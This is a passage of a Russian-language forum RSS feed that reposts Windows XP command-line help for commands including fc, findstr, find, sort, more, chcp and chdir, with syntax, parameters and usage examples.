						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Величина xxxxxxxx задает относительный шестнадцатеричный адрес пары различающихся байтов, отсчитываемый от начала файла. Адресация начинается с 00000000. Шестнадцатеричные величины yy и zz представляют различающиеся байты из имяфайла1 и имяфайла2 соответственно.&lt;br /&gt;&amp;#160; &amp;#160; * Использование подстановочных знаков&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Можно использовать подстановочные знаки (* and ?) в параметрах имяфайла1 и имяфайла2. Если они использованы при задании первого файла имяфайла1, программа fc будет сравнивать все заданные файлы с файлом, указанным в параметре ИмяФайла. Если подстановочные знаки использованы при задании файла имяфайла2, fc при сравнении будет использовать соответствующие значения параметра имяфайла1.&lt;br /&gt;&amp;#160; &amp;#160; * Работа с памятью&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; При сравнении в текстовом режиме программа fc использует внутренний буфер (достаточный для размещения 100 строк). Если размер файлов больше размера буфера, программа fc будет сравнивать те части, которые поместились в буфер. Если fc не обнаруживает совпадения в загруженных частях файлов, программа остановится и будет выведено следующее сообщение:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Не удается выполнить синхронизацию строк. Слишком много различий между файлами.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если же выполняется двоичное сравнение и размер файлов превосходит размер доступной памяти, fc выполняет сравнение полностью. При необходимости, файлы будут считываться с диска по частям. Вывод команды при этом не будет отличаться от вывода в случае полного размещения файлов в памяти.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы сравнить два текстовых файла с именами Monthly.rpt и Sales.rpt и вывести результат в сокращенном формате, введите:&lt;/p&gt;
						&lt;p&gt;fc /a monthly.rpt sales.rpt&lt;/p&gt;
						&lt;p&gt;Для двоичного сравнения двух пакетных файлов Profits.bat и Earnings.bat введите:&lt;/p&gt;
						&lt;p&gt;fc /b profits.bat earnings.bat&lt;/p&gt;
						&lt;p&gt;Результат будет иметь следующий вид:&lt;/p&gt;
						&lt;p&gt;00000002: 72 43&lt;br /&gt;00000004: 65 3A&lt;br /&gt;0000000E: 56 92&lt;br /&gt;00000012: 6D 5C&lt;br /&gt;00000013: 0D 7C&lt;br /&gt;00000014: 0D 0A&lt;br /&gt;00000015: 0A 0D&lt;br /&gt;0000001E: 43 7A&lt;br /&gt;0000001F: 09 0A&lt;br /&gt;00000022: 72 44&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;000005E0: 00 61&lt;br /&gt;000005E1: 00 73&lt;br /&gt;000005E2: 00 73&lt;br /&gt;000005E3: 00 69&lt;br /&gt;000005E4: 00 67&lt;br /&gt;000005E5: 00 6E&lt;br /&gt;000005E6: 00 6D&lt;br /&gt;000005E7: 00 65&lt;br /&gt;000005E8: 00 6E&lt;br /&gt;FC: Earnings.bat длиннее, чем Profits.bat&lt;/p&gt;
						&lt;p&gt;Если файлы Profits.bat и Earnings.bat одинаковы, fc выводит на экран следующее сообщение:&lt;/p&gt;
						&lt;p&gt;FC: различия не найдены&lt;/p&gt;
						&lt;p&gt;Для сравнения каждого файла .bat в текущем каталоге с файлом New.bat введите:&lt;/p&gt;
						&lt;p&gt;fc *.bat new.bat&lt;/p&gt;
						&lt;p&gt;Для сравнения файла New.bat на диске C с файлом New.bat на диске D введите:&lt;/p&gt;
						&lt;p&gt;fc c:new.bat d:*.bat&lt;/p&gt;
						&lt;p&gt;Для сравнения каждого пакетного файла в корневом каталоге диска C с файлом с таким же именем в корневом каталоге на диске введите:&lt;/p&gt;
						&lt;p&gt;fc c:*.bat d:*.bat&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Fcbs&lt;/p&gt;
						&lt;p&gt;Задание числа блоков управления файлом (FCB), которые могут быть одновременно открыты подсистемой MS-DOS. Для указания числа FCB используйте файл системный_корневой_каталог\System32\Config.nt или эквивалентный файл запуска, заданный в PIF-файле.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;fcbs=x&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;x&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Задает число блоков управления, которые подсистема MS-DOS может открыть одновременно. Допустимыми являются значения x от 1 до 255. Значение по умолчанию равно 4.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Блок управления файлом является структурой данных, в которой хранится информация о файле.&lt;br /&gt;&amp;#160; &amp;#160; * Если программа пытается открыть более x файлов с использованием блоков управления файлом, подсистема MS-DOS может закрыть файлы, которые были открыты ранее.&lt;br /&gt;&amp;#160; &amp;#160; * Следует использовать команду fcbs только тогда, когда этого требует какая-либо программа. Большинство современных программ не требуют использования блоков управления файлом. Однако для работы некоторых старых программ требуется поместить команду fcbs в файл Config.nt.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы разрешить подсистеме MS-DOS открывать до восьми файлов одновременно с использованием блоков управления файлом, в файл Config.nt необходимо включить следующую команду:&lt;/p&gt;
						&lt;p&gt;fcbs=8&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Files&lt;/p&gt;
						&lt;p&gt;Задание количества файлов, к которым подсистема MS-DOS может иметь доступ одновременно. Для указания параметра файлы используйте файл системный_корневой_каталог\System32\Config.nt или эквивалентный файл запуска, заданный в PIF-файле.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;files=x&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;x&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Указание количества файлов, к которым подсистема MS-DOS может иметь доступ одновременно. Допустимыми являются значения x от 8 до 255. Значение по умолчанию равно 8.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Хотя значение по умолчанию x равно 8, некоторые программы требуют большего значения. Типовым значением является 20.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы разрешить подсистеме MS-DOS иметь доступ одновременно к 20 файлам, в файл Config.nt должна быть включена следующая команда:&lt;/p&gt;
						&lt;p&gt;files=20&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Использование фильтров&lt;/p&gt;
						&lt;p&gt;Фильтр команды используется с символом перенаправления канала команды (|) и является командой внутри команды, которая считывает ввод команды, преобразовывает ввод, а затем записывает выход. Команды-фильтры дают возможность сортировать, просматривать и отбирать часть выходной информации других команд.&lt;/p&gt;
						&lt;p&gt;Фильтры делят, переупорядочивают или выделяют отдельные части из проходящей через них информации. В приведенной ниже таблице перечислены команды-фильты, доступные в Microsoft Windows XP.&lt;br /&gt;Команда 	Описание&lt;br /&gt;more 	Отображает содержимое файла или вывода команды в одном окне командной строки за раз.&lt;br /&gt;find 	Поиск указанных символов в файлах и выходе команды.&lt;br /&gt;sort 	Сортировка файлов и выхода команды по алфавиту.&lt;/p&gt;
						&lt;p&gt;Для направления данных из файла на вход фильтра используется символ «меньше» (&amp;lt;). Для направления на вход фильтра выхода другой команды используется канал (|).&lt;br /&gt;Использование команды more&lt;/p&gt;
						&lt;p&gt;Команда more выводит содержимое файла или выхода команды в одном окне командной строки за раз. Например, чтобы отобразить содержимое файла List.txt в одном окне командной строки за раз, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;more &amp;lt; list.txt&lt;/p&gt;
						&lt;p&gt;Отображается одно окно командной строки со сведениями, а затем в нижней части окна командной строки отображается строка -- More --. Для перехода к следующему окну командной строки, нажмите любую клавишу на клавиатуре, кроме клавиши PAUSE. Для остановки просмотра следует ввести комбинацию CTRL+C.&lt;/p&gt;
						&lt;p&gt;Команда more полезна при работе с командами, создающими выход более одного окна командной строки. Например, при выводе дерева каталогов жесткого диска. Если на диске содержится больше каталогов, чем может быть одновременно выведено в окне командной строки, можно использовать команду tree с каналом (|) и команду more.&lt;/p&gt;
						&lt;p&gt;tree c:\ | more&lt;/p&gt;
						&lt;p&gt;На экран будет выведен первое окно командной строки с выходом команды tree, а затем отобразится строка -- More --. Выход будет ожидать нажатия любой клавиши для продолжения (кроме клавиши PAUSE).&lt;br /&gt;Использование команды find&lt;/p&gt;
						&lt;p&gt;Команда find проводит поиск заданной строки или текста в файлах. Команда Cmd.exe отображает каждую строку, которая совпадает со строкой или текстом, указанным в окне коммандной строки. Команда find может быть использована как команда-фильтр и как обычная команда Microsoft Windows XP. Дополнительные сведения об использовании команды find в качестве стандартной команды см. в разделе Find.&lt;/p&gt;
						&lt;p&gt;Чтобы использовать команду find в качестве команды-фильтра, необходимо включить символ «меньше» (&amp;lt;) и строку или текст, в котором требуется выполнить поиск. По умолчанию при поиске команда find учитывает регистр. Например, следующая команда будет искать строку &amp;quot;Pacific Rim&amp;quot; в файле Trade.txt:&lt;/p&gt;
						&lt;p&gt;find &amp;quot;Pacific Rim&amp;quot; &amp;lt; trade.txt&lt;/p&gt;
						&lt;p&gt;Выход не включает вхождение строки &amp;quot;pacific rim&amp;quot;. Встречается вхождение строки &amp;quot;Pacific Rim&amp;quot; с прописными буквами.&lt;/p&gt;
						&lt;p&gt;Для сохранения результатов работы команды find (вместо отображения их в окне командной строки), введите символ «больше» (&amp;gt;) и имя файла, в котором требуется хранить выход. Например, следующая команда ищет строку &amp;quot;Pacific Rim&amp;quot; в файле Trade.txt с сохранением результата в файле Nwtrade.txt:&lt;/p&gt;
						&lt;p&gt;find &amp;quot;Pacific Rim&amp;quot; &amp;lt; trade.txt &amp;gt; nwtrade.txt&lt;br /&gt;Использование команды sort&lt;/p&gt;
						&lt;p&gt;Команда sort выполняет сортировку по алфавиту текстового файла или выхода команды. Например, следующая команда сортирует содержимое файла List.txt и отображает результаты в окне командной строки:&lt;/p&gt;
						&lt;p&gt;sort &amp;lt; list.txt&lt;/p&gt;
						&lt;p&gt;В этом примере команда sort сортирует строки файла List.txt в алфавитном порядке и выводит результат на экран без изменения файла. Для сохранения результатов работы команды sort (вместо их отображения) введите символ «больше» (&amp;gt;) и имя файла. Например, следующую команду можно использовать для алфавитной сортировки строк файла List.txt и сохранения результатов в файле Alphlist.txt:&lt;/p&gt;
						&lt;p&gt;sort &amp;lt; list.txt &amp;gt; alphlist.txt&lt;/p&gt;
						&lt;p&gt;Для сортировки вывода команды следует ввести команду, затем символ канала (|) и команду sort (команда | sort). Например, следующая команда сортирует в алфавитном порядке строки, которые содержат слово &amp;quot;Jones&amp;quot; (вывод команды find):&lt;/p&gt;
						&lt;p&gt;find &amp;quot;Jones&amp;quot; maillst.txt | sort&lt;br /&gt;========================================================================================&lt;br /&gt;Find&lt;/p&gt;
						&lt;p&gt;Поиск заданной строки текста в файле или нескольких файлах. После поиска в заданных файлах команда find выведет на экран все строки из этих файлов, содержащие заданный образец.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;find [/v] [/c] [/n] [/i] &amp;quot;строка&amp;quot; [[диск:][путь]ИмяФайла[...]]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;/v&lt;br /&gt;&amp;#160; &amp;#160; Выводит все строки, не содержащие строку, заданную параметром строка.&lt;br /&gt;/c&lt;br /&gt;&amp;#160; &amp;#160; Подсчет строк, содержащих строку, указанную параметром строка, и отображение общего количества.&lt;br /&gt;/n&lt;br /&gt;&amp;#160; &amp;#160; Выводит номера строк перед самими строками.&lt;br /&gt;/i&lt;br /&gt;&amp;#160; &amp;#160; Задает поиск без различия строчных и заглавных букв.&lt;br /&gt;&amp;quot;строка_поиска&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; Обязательный параметр. Указывает группу символов, поиск которой будет производиться. Необходимо заключить параметр строка в кавычки (&amp;quot;строка&amp;quot;).&lt;br /&gt;[диск:][путь] ИмяФайла&lt;br /&gt;&amp;#160; &amp;#160; Задает местоположение и имя файла, в котором будет производиться поиск заданной строки символов.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Задание строки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если ключ /i не указан, команда find ищет именно то, что указано в параметре строка. Например, для команды find символы &amp;quot;a&amp;quot; и &amp;quot;A&amp;quot; являются различными. Если используется ключ /i, команда find не различает строчные и прописные буквы, и символы &amp;quot;a&amp;quot; и &amp;quot;A&amp;quot; являются одинаковыми.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если строка поиска содержит кавычки, при вызове команды каждая кавычка в строке поиска должна быть заменена двумя символами кавычек (&amp;quot;СтрокаСодержания&amp;quot;&amp;quot;Кавычки&amp;quot;).&lt;br /&gt;&amp;#160; &amp;#160; * Использование команды find в качестве фильтра&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если имя файла пропущено, find действует как фильтр, получая ввод из стандартного источника вывода (обычно клавиатура, канал или файл перенаправления), и выводит все строки, содержащие параметр строка.&lt;br /&gt;&amp;#160; &amp;#160; * Порядок синтаксиса команды&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Параметры и ключи команды find могут быть заданы в произвольном порядке.&lt;br /&gt;&amp;#160; &amp;#160; * Использование подстановочных знаков&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Подстановочные знаки (* и ?) не могут быть использованы в именах файлов и расширениях, задаваемых в команде find. Чтобы искать строку в множестве файлов, указанных с помощью подстановочных знаков, можно использовать команду find в команде for.&lt;br /&gt;&amp;#160; &amp;#160; * Использование ключей /v или /n с ключом /c&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если в одной команде заданы ключи /c и /v, команда find выведет на экран количество строк, которые не содержат заданную строку поиска. Если в одной команде указаны оба ключа: /c и /n, команда find игнорирует ключ /n.&lt;br /&gt;&amp;#160; &amp;#160; * Использование команды find со знаками перевода строки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Команда find не распознает символ перевода строки. Когда команда find используется для поиска текста в файле, который содержит символы перевода строки, необходимо ограничить строку поиска текстом, который может быть найден между символами перевода строки (строка не может прерываться символом перевода строки). Например, find не найдет совпадение для строки &amp;quot;файл налогов&amp;quot; если перевод строки в файле стоит между словами &amp;quot;файл&amp;quot; и &amp;quot;налогов&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Для вывода всех строк из файла Pencil.ad, которые содержат слова «Точилка» служит следующая команда:&lt;/p&gt;
						&lt;p&gt;find &amp;quot;Точилка&amp;quot; pencil.ad&lt;/p&gt;
						&lt;p&gt;Для поиска строки, содержащей текст, указанный в кавычках, необходимо сначала заключить в кавычки всю строку. Во-вторых, необходимо использовать двойные кавычки для каждых кавычек, содержащихся в строке. Поиск Ученый пометил свой документ &amp;quot;&amp;quot;только для дискуссии&amp;quot;&amp;quot;. Это не окончательный отчет.&amp;quot; В Report.doc введите:&lt;/p&gt;
						&lt;p&gt;find &amp;quot;Ученый пометил свой документ &amp;quot;&amp;quot;только для дискуссии.&amp;quot;&amp;quot; Это не окончательный отчет.&amp;quot; report.doc&lt;/p&gt;
						&lt;p&gt;Если поиск требуется провести в нескольких файлах, следует использовать команду find с командой for. Для поиска файлов с расширением .bat, содержащих строку &amp;quot;PROMPT&amp;quot;, можно использовать следующую команду:&lt;/p&gt;
						&lt;p&gt;for %f in (*.bat) do find &amp;quot;PROMPT&amp;quot; %f&lt;/p&gt;
						&lt;p&gt;Для поиска на жестком диске C файлов, содержащих строку &amp;quot;CPU&amp;quot; и отображения их имен используйте символ канала (|), чтобы направить результаты команды dir в команду find:&lt;/p&gt;
						&lt;p&gt;dir c:\ /s /b | find &amp;quot;CPU&amp;quot;&lt;/p&gt;
						&lt;p&gt;Так как команда find проводит поиск, различая строчные и заглавные буквы, а команда dir выводит результаты заглавными буквами, необходимо задать строку &amp;quot;CPU&amp;quot; заглавными буквами или использовать ключ /i в команде find.&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Findstr&lt;/p&gt;
						&lt;p&gt;Поиск образцов текста в файлах с использованием регулярных выражений.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;findstr [/b] [/e] [/l] [/r] [/s] [/i] [/x] [/v] [/n] [/m] [/o] [/p] [/offline] [/g:файл] [/f:файл] [/c:строка] [/d:СписокКаталогов] [/a:АтрибутЦвета] [строки] [[диск:][путь] ИмяФайла [...]]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;/b&lt;br /&gt;&amp;#160; &amp;#160; Сравнивает шаблон с началом строки.&lt;br /&gt;/e&lt;br /&gt;&amp;#160; &amp;#160; Сравнивает шаблон с концом строки.&lt;br /&gt;/l&lt;br /&gt;&amp;#160; &amp;#160; Использует заданную строку буквально.&lt;br /&gt;/r&lt;br /&gt;&amp;#160; &amp;#160; Использует строку поиска как регулярное выражение. Команда Findstr интерпретирует все метасимволы как регулярные выражения, если не используется ключ /l.&lt;br /&gt;/s&lt;br /&gt;&amp;#160; &amp;#160; Задает поиск файлов в текущем каталоге и его подкаталогах.&lt;br /&gt;/i&lt;br /&gt;&amp;#160; &amp;#160; Задает поиск без различия строчных и заглавных букв.&lt;br /&gt;/x&lt;br /&gt;&amp;#160; &amp;#160; Печатает точно совпавшие строки.&lt;br /&gt;/v&lt;br /&gt;&amp;#160; &amp;#160; Печатает строки, не содержащие совпадений.&lt;br /&gt;/n&lt;br /&gt;&amp;#160; &amp;#160; Печатает в начале совпавшей строки ее номер.&lt;br /&gt;/m&lt;br /&gt;&amp;#160; &amp;#160; Печатает только имя файла при обнаружении совпадения.&lt;br /&gt;/o&lt;br /&gt;&amp;#160; &amp;#160; Печатает смещение перед выводом строки с совпадением.&lt;br /&gt;/p&lt;br /&gt;&amp;#160; &amp;#160; Пропускает файлы с непечатаемыми символами.&lt;br /&gt;/offline&lt;br /&gt;&amp;#160; &amp;#160; Обработка файлов с автономным атрибутом.&lt;br /&gt;/f:файл&lt;br /&gt;&amp;#160; &amp;#160; Читает список из заданного файла.&lt;br /&gt;/c:строка&lt;br /&gt;&amp;#160; &amp;#160; Использует заданный текст как литеральную строку поиска.&lt;br /&gt;/g:файл&lt;br /&gt;&amp;#160; &amp;#160; Получает строки поиска из заданного файла.&lt;br /&gt;/d:СписокКаталогов&lt;br /&gt;&amp;#160; &amp;#160; Ищет в списке каталогов, разделенном запятыми.&lt;br /&gt;/a:АтрибутЦвета&lt;br /&gt;&amp;#160; &amp;#160; Задает атрибуты цвета двумя шестнадцатеричными цифрами.&lt;br /&gt;строки&lt;br /&gt;&amp;#160; &amp;#160; Текст, поиск которого производится в файле, заданном параметром ИмяФайла.&lt;br /&gt;[диск:][путь] ИмяФайла [...]&lt;br /&gt;&amp;#160; &amp;#160; Файл или несколько файлов для поиска.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Использование регулярных выражений с командой findstr&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Команда findstr способна выполнять точный поиск текста в любом текстовом файле или файлах формата ASCII. Однако иногда имеется только часть информации, которая должна быть найдена, или требуется найти информацию в широком диапазоне. В таких случаях команда findstr предоставляет мощную возможность поиска с использованием регулярных выражений.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; В противоположность точному заданию строки символов для поиска, регулярные выражения позволяют задать образец текста. Для задания образца используются литералы и метасимволы. Каждый символ, который не имеет специального значения в регулярных выражениях, рассматривается как литерал и должен точно совпасть при поиске. Например, буквы и цифры являются литеральными символами. Метасимволы — это символы со специальным значением (оператор или разделитель) в регулярных выражениях.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; В приведенной ниже таблице перечислены метасимволы, допустимые для команды findstr.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; Символ 	Значение&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; . 	Подстановочный знак: любой символ&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; * 	Повтор: ноль или более предшествующих символов или классов символов.&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; ^ 	Позиция строки: начало строки&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; $ 	Позиция строки: конец строки&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; [класс] 	Класс символа: любой символ из множества&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; [^класс] 	Инвертированный класс: любой символ из множества&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; [x-y] 	Диапазон: любой символ из диапазона&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; \x 	Исключение: использование метасимвола x в качестве литерала&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; \&amp;lt;xyz 	Позиция слова: начало слова&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; xyz\&amp;gt; 	Позиция слова: конец слова&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Специальные символы в регулярных выражениях дают наилучший результат при совместном использовании. Например, при комбинации символа подстановки (.) и повторителя (*) совпадает любая строка символов:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; .*&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Используйте следующее выражение как часть более объемного выражения, которое совпадает со строкой, начинающейся с &amp;quot;b&amp;quot; и оканчивающейся на &amp;quot;ing&amp;quot;:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; b.*ing&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Для отделения строк поиска друг от друга следует использовать пробелы, кроме тех случаев, когда задан ключ /c. Для поиска слова &amp;quot;hello&amp;quot; или &amp;quot;there&amp;quot; в файле x.y введите следующую каманду:&lt;/p&gt;
						&lt;p&gt;findstr &amp;quot;hello there&amp;quot; x.y&lt;/p&gt;
						&lt;p&gt;Для поиска словосочетания &amp;quot;hello there&amp;quot; в файле x.y введите следующую каманду:&lt;/p&gt;
						&lt;p&gt;findstr /c:&amp;quot;hello there&amp;quot; x.y&lt;/p&gt;
						&lt;p&gt;Для поиска всех слов &amp;quot;Windows&amp;quot; (с первой заглавной буквой W) в файле Proposal.txt может быть использована следующая команда:&lt;/p&gt;
						&lt;p&gt;findstr Windows proposal.txt&lt;/p&gt;
						&lt;p&gt;Для поиска в каждом файле текущего каталога и в файлах всех подкаталогов слова &amp;quot;Windows&amp;quot; без учета строчных и заглавных букв может быть использована следующая команда:&lt;/p&gt;
						&lt;p&gt;findstr /s /i Windows *.*&lt;/p&gt;
						&lt;p&gt;Для поиска всех строк, содержащих слово &amp;quot;FOR&amp;quot;, перед которым идет несколько пробелов (чтобы найти в программе оператор цикла), с выводом номера каждой строки можно использовать команду:&lt;/p&gt;
						&lt;p&gt;findstr /b /n /c:&amp;quot; *FOR&amp;quot; *.bas&lt;/p&gt;
						&lt;p&gt;Если требуется найти несколько разных наборов символов в нескольких файлах, можно создать текстовый файл, каждая строка которого содержит образец для поиска. Также можно задать точный список файлов, если поиск будет производиться в текстовых файлах. Для использования файла Finddata.txt, содержащего образцы для поиска, файла Filelist.txt, содержащего список файлов, в которых будет производиться поиск, и записи результатов работы программы в файл Results.out служит следующая команда:&lt;/p&gt;
						&lt;p&gt;findstr /g:finddata.txt /f:filelist.txt &amp;gt; results.out&lt;/p&gt;
						&lt;p&gt;Предположим, необходимо найти каждый файл в текущем каталоге и его подкаталогах, содержащий слово &amp;quot;computer&amp;quot; без различия строчных и заглавных букв. Для вывода списка таких файлов можно использовать следующую команду:&lt;/p&gt;
						&lt;p&gt;findstr /s /i /m &amp;quot;\&amp;lt;computer\&amp;gt;&amp;quot; *.*&lt;/p&gt;
						&lt;p&gt;Теперь, предположим, требуется найти не только само слово &amp;quot;computer&amp;quot;, но и все другие слова, начинающиеся с тех же букв, таких как &amp;quot;compliment&amp;quot; и &amp;quot;compete&amp;quot;. Введите следующую команду:&lt;/p&gt;
						&lt;p&gt;findstr /s /i /m &amp;quot;\&amp;lt;comp.*&amp;quot; *.*&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:28:31 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=23#p23</guid>
		</item>
		<item>
			<title>Часть-2</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=22#p22</link>
			<description>&lt;p&gt;Chcp&lt;/p&gt;
						&lt;p&gt;Просмотр номера текущей кодовой страницы или изменение текущей кодовой страницы консоли. Выполненная без параметров команда chcp выводит номер текущей кодовой страницы для окна командной строки.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;chcp [код]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;код&lt;br /&gt;&amp;#160; &amp;#160; Задает номер кодовой страницы. Поддерживаемые кодовые таблицы с соответствующими странами/регионами или языками приведены в следующей таблице.&lt;br /&gt;Кодовая страница 	Страна/регион или язык&lt;br /&gt;437 	США&lt;br /&gt;850 	Многоязыковый (латиница I)&lt;br /&gt;852 	Восточная и центральная Европа (латиница II)&lt;br /&gt;855 	Кириллица (русский)&lt;br /&gt;857 	Турецкий&lt;br /&gt;860 	Португальский&lt;br /&gt;861 	Исландский&lt;br /&gt;863 	Французский (Канада)&lt;br /&gt;865 	Скандинавский&lt;br /&gt;866 	Русский&lt;br /&gt;869 	Современный греческий&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Только кодовая страница изготовителя вычислительной техники (ИВТ), установленная в системе Windows XP, отображается правильно в окне командной строки при использовании растрового шрифта. Прочие кодовые страницы будут правильно отображаться только в полноэкранном режиме или в окне командной строки, использующем шрифты TrueType.&lt;br /&gt;&amp;#160; &amp;#160; * Подготовка кодовых страниц, в отличие от MS-DOS, не требуется.&lt;br /&gt;&amp;#160; &amp;#160; * В программах, запущенных после назначения новой кодовой страницы, используется эта кодовая страница, а в программах, запущенных до назначения новой кодовой страницы, — исходная.&lt;/p&gt;
						&lt;p&gt;Примеры&lt;/p&gt;
						&lt;p&gt;Чтобы просмотреть номера текущей кодовой страницы, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;chcp&lt;/p&gt;
						&lt;p&gt;Отобразится сообщение следующего вида:&lt;/p&gt;
						&lt;p&gt;Текущая кодовая страница: 437&lt;/p&gt;
						&lt;p&gt;Чтобы заменить текущую кодовую страницу страницей 850 (многоязычная латиница 1), введите следующую команду:&lt;/p&gt;
						&lt;p&gt;chcp 850&lt;/p&gt;
						&lt;p&gt;Если введено неверное значение номера кодовой страницы, на экран выводится следующее сообщение об ошибке:&lt;/p&gt;
						&lt;p&gt;Указана недопустимая кодовая страница&lt;/p&gt;
						&lt;p&gt;========================================================================================&lt;br /&gt;Chdir (Cd)&lt;/p&gt;
						&lt;p&gt;Вывод имени текущего каталога или переход в другую папку. При использовании только с именем диска (например chdir C:) команда chdir выводит имена текущих диска и папки. Выполненная без параметров команда chdir выводит текущие диск и каталог.&lt;br /&gt;Синтаксис&lt;/p&gt;
						&lt;p&gt;chdir [[/d] [диск:][путь] [..]] [[/d] [диск:][путь] [..]]&lt;/p&gt;
						&lt;p&gt;cd [[/d] [диск:][путь] [..]] [[/d] [диск:][путь] [..]]&lt;br /&gt;Параметры&lt;/p&gt;
						&lt;p&gt;/d&lt;br /&gt;&amp;#160; &amp;#160; Смена текущего диска или текущего каталога на диске.&lt;br /&gt;[диск:][путь]&lt;br /&gt;&amp;#160; &amp;#160; Задание имени диска (если он отличается от текущего) и каталога, в который требуется перейти.&lt;br /&gt;[..]&lt;br /&gt;&amp;#160; &amp;#160; Переход в родительскую папку.&lt;br /&gt;/?&lt;br /&gt;&amp;#160; &amp;#160; Отображение справки в командной строке.&lt;/p&gt;
						&lt;p&gt;Заметки&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Работа с расширениями командного процессора&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если расширения командного процессора разрешены (задано по умолчанию), имена папок в пути к текущему каталогу отображаются точно так же, как на жестком диске, в том же формате имен папок с учетом регистра. Например, если имя папки на жестком диске — C:\Temp, команда CD C:\TEMP задает текущий каталог C:\Temp, соответствующий формату имени этой папки на жестком диске.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Чтобы запретить расширения командного процессора для определенного процесса, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; cmd e:off&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; Если расширения командного процессора запрещены, в команде chdir нельзя использовать пробелы в качестве разделителей. Таким образом, можно перейти в подкаталог, имя которого содержит пробел, не заключая параметр [путь] в кавычки. Например, следующий путь позволяет перейти в подкаталог \Start menu.&lt;/p&gt;
